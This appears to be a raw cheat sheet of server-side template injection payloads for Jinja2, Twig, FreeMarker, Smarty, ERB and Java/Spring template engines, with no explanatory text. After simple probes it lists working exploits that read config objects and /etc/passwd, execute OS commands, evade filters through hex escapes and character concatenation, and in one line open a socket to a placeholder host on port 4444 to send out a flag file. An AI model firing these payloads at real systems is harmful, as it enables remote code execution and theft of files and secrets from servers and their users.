Server Side Template Injection Payloads:

```
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e
}}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${
ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${
ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read(
) }}
{{
config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/
etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat
flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}
}
{% for x in ().__class__.__base__.__subclasses__() %}{% if
"warning" in x.__name__
%}{{x()._module.__builtins__['__import__']('os').popen(request.ar
gs.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.arg
s.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|att
r('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x
5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('pop
en')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newI
nstance().getEngineByName('JavaScript').eval(\"new
java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newI
nstance().getEngineByName('JavaScript').eval(\"var x=new
java.lang.ProcessBuilder; x.command(\\\"whoami\\\");
x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newI
nstance().getEngineByName('JavaScript').eval(\"var x=new
java.lang.ProcessBuilder; x.command(\\\"netstat\\\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream()
)\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newI
nstance().getEngineByName('JavaScript').eval(\"var x=new
java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream()
)\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if
"warning" in x.__name__
%}{{x()._module.__builtins__['__import__']('os').popen("python3 -
c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S
TREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\",
\"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).
getRuntime().exec(T(java.lang.Character).toString(99).concat(T(ja
va.lang.Character).toString(97)).concat(T(java.lang.Character).to
String(116)).concat(T(java.lang.Character).toString(32)).concat(T
(java.lang.Character).toString(47)).concat(T(java.lang.Character)
.toString(101)).concat(T(java.lang.Character).toString(116)).conc
at(T(java.lang.Character).toString(99)).concat(T(java.lang.Charac
ter).toString(47)).concat(T(java.lang.Character).toString(112)).c
oncat(T(java.lang.Character).toString(97)).concat(T(java.lang.Cha
racter).toString(115)).concat(T(java.lang.Character).toString(115
)).concat(T(java.lang.Character).toString(119)).concat(T(java.lan
g.Character).toString(100))).getInputStream())}
```